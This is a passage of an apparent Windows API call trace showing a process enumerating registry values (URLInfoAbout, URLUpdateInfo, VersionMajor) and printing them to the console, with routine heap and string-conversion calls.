(HeapHandle=0x2e0000, Flags=0xc, Size=0x60) returned 0x3019a0 [0148.157] GetProcessHeap () returned 0x2e0000 [0148.157] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.157] GetProcessHeap () returned 0x2e0000 [0148.157] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x60 [0148.157] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x3019a0, pcbData=0x23f670*=0x5e | out: pdwType=0x23f5f0*=0x1, pvData="http://go.microsoft.com/fwlink/?LinkId=286133", pcbData=0x23f670*=0x5c) returned 0x0 [0148.157] __iob_func () returned 0x7fefd702a80 [0148.158] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.158] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.158] _fileno (_File=0x7fefd702ab0) returned 1 [0148.158] _errno () returned 0xc4bb0 [0148.158] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.158] _errno () returned 0xc4bb0 [0148.158] GetFileType (hFile=0x50) returned 0x1 [0148.158] lstrlenW (lpString=" ") returned 4 [0148.158] GetConsoleOutputCP () returned 0x1b5 [0148.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.158] GetConsoleOutputCP () returned 0x1b5 [0148.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.158] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.158] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.158] lstrlenW (lpString="URLInfoAbout") returned 12 [0148.158] __iob_func () returned 0x7fefd702a80 [0148.158] _fileno (_File=0x7fefd702ab0) returned 1 [0148.158] _errno () returned 0xc4bb0 [0148.158] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.158] _errno () returned 0xc4bb0 [0148.158] GetFileType (hFile=0x50) returned 0x1 [0148.158] lstrlenW (lpString="URLInfoAbout") returned 12 [0148.158] GetConsoleOutputCP () returned 0x1b5 [0148.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.159] GetConsoleOutputCP () returned 0x1b5 [0148.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0148.159] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.159] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.159] __iob_func () returned 0x7fefd702a80 [0148.159] _fileno (_File=0x7fefd702ab0) returned 1 [0148.159] _errno () returned 0xc4bb0 [0148.159] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.159] _errno () returned 0xc4bb0 [0148.159] GetFileType (hFile=0x50) returned 0x1 [0148.159] lstrlenW (lpString=" ") returned 4 [0148.159] GetConsoleOutputCP () returned 0x1b5 [0148.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.159] GetConsoleOutputCP () returned 0x1b5 [0148.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.159] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.159] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.159] __iob_func () returned 0x7fefd702a80 [0148.159] _fileno (_File=0x7fefd702ab0) returned 1 [0148.159] _errno () returned 0xc4bb0 [0148.159] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.159] _errno () returned 0xc4bb0 [0148.159] GetFileType (hFile=0x50) returned 0x1 [0148.159] lstrlenW (lpString="REG_SZ") returned 6 [0148.160] GetConsoleOutputCP () returned 0x1b5 [0148.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.160] GetConsoleOutputCP () returned 0x1b5 [0148.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.160] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.160] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.160] __iob_func () returned 0x7fefd702a80 [0148.160] _fileno (_File=0x7fefd702ab0) returned 1 [0148.160] _errno () returned 0xc4bb0 [0148.160] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.160] _errno () returned 0xc4bb0 [0148.160] GetFileType (hFile=0x50) returned 0x1 [0148.160] lstrlenW (lpString=" ") returned 4 [0148.160] GetConsoleOutputCP () returned 0x1b5 [0148.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.160] GetConsoleOutputCP () returned 0x1b5 [0148.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.160] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.160] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.160] __iob_func () returned 0x7fefd702a80 [0148.161] _fileno (_File=0x7fefd702ab0) returned 1 [0148.161] _errno () returned 0xc4bb0 [0148.161] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.161] _errno () returned 0xc4bb0 [0148.161] GetFileType (hFile=0x50) returned 0x1 [0148.161] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=286133") returned 45 [0148.161] GetConsoleOutputCP () returned 0x1b5 [0148.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=286133", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0148.161] GetConsoleOutputCP () returned 0x1b5 [0148.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=286133", cchWideChar=45, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=286133", lpUsedDefaultChar=0x0) returned 45 [0148.161] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0148.161] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.161] __iob_func () returned 0x7fefd702a80 [0148.161] _fileno (_File=0x7fefd702ab0) returned 1 [0148.161] _errno () returned 0xc4bb0 [0148.161] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.161] _errno () returned 0xc4bb0 [0148.161] GetFileType (hFile=0x50) returned 0x1 [0148.161] lstrlenW (lpString="\n") returned 1 [0148.161] GetConsoleOutputCP () returned 0x1b5 [0148.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.161] GetConsoleOutputCP () returned 0x1b5 [0148.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.162] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.162] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.162] GetProcessHeap () returned 0x2e0000 [0148.162] GetProcessHeap () returned 0x2e0000 [0148.162] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.162] GetProcessHeap () returned 0x2e0000 [0148.162] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x60 [0148.162] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0 | out: hHeap=0x2e0000) returned 1 [0148.162] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.162] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5e) returned 0x0 [0148.162] GetProcessHeap () returned 0x2e0000 [0148.162] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x60) returned 0x3019a0 [0148.162] GetProcessHeap () returned 0x2e0000 [0148.162] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.162] GetProcessHeap () returned 0x2e0000 [0148.162] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x60 [0148.162] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x3019a0, pcbData=0x23f670*=0x5e | out: pdwType=0x23f5f0*=0x1, pvData="http://go.microsoft.com/fwlink/?LinkId=286134", pcbData=0x23f670*=0x5c) returned 0x0 [0148.162] __iob_func () returned 0x7fefd702a80 [0148.162] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.162] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.162] _fileno (_File=0x7fefd702ab0) returned 1 [0148.162] _errno () returned 0xc4bb0 [0148.162] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.162] _errno () returned 0xc4bb0 [0148.162] GetFileType (hFile=0x50) returned 0x1 [0148.162] lstrlenW (lpString=" ") returned 4 [0148.162] GetConsoleOutputCP () returned 0x1b5 [0148.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.163] GetConsoleOutputCP () returned 0x1b5 [0148.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.163] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.163] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.163] lstrlenW (lpString="URLUpdateInfo") returned 13 [0148.163] __iob_func () returned 0x7fefd702a80 [0148.163] _fileno (_File=0x7fefd702ab0) returned 1 [0148.163] _errno () returned 0xc4bb0 [0148.163] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.163] _errno () returned 0xc4bb0 [0148.163] GetFileType (hFile=0x50) returned 0x1 [0148.163] lstrlenW (lpString="URLUpdateInfo") returned 13 [0148.163] GetConsoleOutputCP () returned 0x1b5 [0148.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.163] GetConsoleOutputCP () returned 0x1b5 [0148.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0148.163] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.163] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.163] __iob_func () returned 0x7fefd702a80 [0148.163] _fileno (_File=0x7fefd702ab0) returned 1 [0148.163] _errno () returned 0xc4bb0 [0148.163] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.163] _errno () returned 0xc4bb0 [0148.164] GetFileType (hFile=0x50) returned 0x1 [0148.164] lstrlenW (lpString=" ") returned 4 [0148.164] GetConsoleOutputCP () returned 0x1b5 [0148.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.164] GetConsoleOutputCP () returned 0x1b5 [0148.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.164] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.164] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.164] __iob_func () returned 0x7fefd702a80 [0148.164] _fileno (_File=0x7fefd702ab0) returned 1 [0148.164] _errno () returned 0xc4bb0 [0148.164] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.164] _errno () returned 0xc4bb0 [0148.164] GetFileType (hFile=0x50) returned 0x1 [0148.164] lstrlenW (lpString="REG_SZ") returned 6 [0148.164] GetConsoleOutputCP () returned 0x1b5 [0148.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.164] GetConsoleOutputCP () returned 0x1b5 [0148.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.164] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.164] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.165] __iob_func () returned 0x7fefd702a80 [0148.165] _fileno (_File=0x7fefd702ab0) returned 1 [0148.165] _errno () returned 0xc4bb0 [0148.165] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.165] _errno () returned 0xc4bb0 [0148.165] GetFileType (hFile=0x50) returned 0x1 [0148.165] lstrlenW (lpString=" ") returned 4 [0148.165] GetConsoleOutputCP () returned 0x1b5 [0148.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.165] GetConsoleOutputCP () returned 0x1b5 [0148.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.165] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.165] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.165] __iob_func () returned 0x7fefd702a80 [0148.165] _fileno (_File=0x7fefd702ab0) returned 1 [0148.165] _errno () returned 0xc4bb0 [0148.165] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.165] _errno () returned 0xc4bb0 [0148.165] GetFileType (hFile=0x50) returned 0x1 [0148.165] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=286134") returned 45 [0148.165] GetConsoleOutputCP () returned 0x1b5 [0148.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=286134", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0148.166] GetConsoleOutputCP () returned 0x1b5 [0148.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=286134", cchWideChar=45, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=286134", lpUsedDefaultChar=0x0) returned 45 [0148.166] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0148.166] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.166] __iob_func () returned 0x7fefd702a80 [0148.166] _fileno (_File=0x7fefd702ab0) returned 1 [0148.166] _errno () returned 0xc4bb0 [0148.166] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.166] _errno () returned 0xc4bb0 [0148.166] GetFileType (hFile=0x50) returned 0x1 [0148.166] lstrlenW (lpString="\n") returned 1 [0148.166] GetConsoleOutputCP () returned 0x1b5 [0148.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.166] GetConsoleOutputCP () returned 0x1b5 [0148.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.166] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.166] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.166] GetProcessHeap () returned 0x2e0000 [0148.166] GetProcessHeap () returned 0x2e0000 [0148.166] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.166] GetProcessHeap () returned 0x2e0000 [0148.166] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x60 [0148.166] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0 | out: hHeap=0x2e0000) returned 1 [0148.167] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.167] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.167] GetProcessHeap () returned 0x2e0000 [0148.167] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.167] GetProcessHeap () returned 0x2e0000 [0148.167] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.167] GetProcessHeap () returned 0x2e0000 [0148.167] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.167] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x4, pcbData=0x23f670*=0x4) returned 0x0 [0148.167] __iob_func () returned 0x7fefd702a80 [0148.167] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.167] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.167] _fileno (_File=0x7fefd702ab0) returned 1 [0148.167] _errno () returned 0xc4bb0 [0148.167] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.167] _errno () returned 0xc4bb0 [0148.167] GetFileType (hFile=0x50) returned 0x1 [0148.167] lstrlenW (lpString=" ") returned 4 [0148.167] GetConsoleOutputCP () returned 0x1b5 [0148.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.167] GetConsoleOutputCP () returned 0x1b5 [0148.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.167] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.167] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.167] lstrlenW (lpString="VersionMajor") returned 12 [0148.167] __iob_func () returned 0x7fefd702a80 [0148.167] _fileno (_File=0x7fefd702ab0) returned 1 [0148.167] _errno () returned 0xc4bb0 [0148.168] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.168] _errno () returned 0xc4bb0 [0148.168] GetFileType (hFile=0x50) returned 0x1 [0148.168] lstrlenW (lpString="VersionMajor") returned 12 [0148.168] GetConsoleOutputCP () returned 0x1b5 [0148.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.168] GetConsoleOutputCP () returned 0x1b5 [0148.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0148.168] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.168] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.168] __iob_func () returned 0x7fefd702a80 [0148.168] _fileno (_File=0x7fefd702ab0) returned 1 [0148.168] _errno () returned 0xc4bb0 [0148.168] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.168] _errno () returned 0xc4bb0 [0148.168] GetFileType (hFile=0x50) returned 0x1 [0148.168] lstrlenW (lpString=" ") returned 4 [0148.168] GetConsoleOutputCP () returned 0x1b5 [0148.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.168] GetConsoleOutputCP () returned 0x1b5 [0148.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.168] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.169] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.169] __iob_func () returned 0x7fefd702a80 [0148.169] _fileno (_File=0x7fefd702ab0) returned 1 [0148.169] _errno () returned 0xc4bb0 [0148.169] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.169] _errno () returned 0xc4bb0 [0148.169] GetFileType (hFile=0x50) returned 0x1 [0148.169] lstrlenW (lpString="REG_DWORD") returned 9 [0148.169] GetConsoleOutputCP () returned 0x1b5 [0148.169] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.169] GetConsoleOutputCP () returned 0x1b5 [0148.169] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.169] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.169] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.169] __iob_func () returned 0x7fefd702a80 [0148.169] _fileno (_File=0x7fefd702ab0) returned 1 [0148.169] _errno () returned 0xc4bb0 [0148.169] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.169] _errno () returned 0xc4bb0 [0148.169] GetFileType (hFile=0x50) returned 0x1 [0148.169] lstrlenW (lpString=" ") returned 4 [0148.169] GetConsoleOutputCP () returned 0x1b5 [0148.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", 